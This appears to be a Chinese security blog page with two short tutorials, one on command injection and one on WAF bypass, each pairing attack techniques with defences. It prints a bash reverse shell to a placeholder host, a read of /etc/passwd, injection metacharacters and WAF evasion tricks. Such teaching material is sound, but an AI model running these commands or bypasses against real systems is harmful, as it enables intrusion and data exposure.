RCE代码执行与命令执行实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

命令注入攻击只在授权测试环境进行。对非授权系统执行命令注入可能触犯法律。

1

用户输入 → 命令拼接 → 系统执行 → 结果输出

1
2


os.system("ping " + user_input)
subprocess.run(f"ping {ip}", shell=True)

1

; :: && || ` $( ) | \n %0a %0d%0a

1
2
3
4
5
6
7


# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

# 信息收集
cat /etc/passwd
whoami
uname -a

1
2
3
4
5
6


# 方案1：避免拼接
subprocess.run(["ping", ip], shell=False)

# 方案2：输入过滤
# 只允许 IP 格式
# 过滤特殊字符：; | & ` $ ( )

命令注入的本质是用户输入被当作命令执行。防御核心是使用参数列表而非字符串拼接，配合输入过滤和沙箱隔离。

Sat, 29 Aug 2026 14:00:00 +0800

WAF 绕过测试只在授权测试环境进行。

1

① 流量接入 → ② 规则匹配 → ③ 动作执行（允许/阻止/重写）

1
2
3
4
5


编码绕过：URL编码/Base64/Unicode
分块传输：Transfer-Encoding: chunked
协议滥用：HTTP/2 · Host 头注入
大小写混淆：SeLeCt / UNION+SELECT
注释插入：/**/ · /*xx*/

1
2


规则更新 · 深度包检测（DPI）· 行为分析
多层 WAF 部署 · 异常流量告警

WAF 是 Web 安全的重要防线，但不是万能的。绕过 WAF 的方法多样，防御方需持续更新规则并结合行为分析。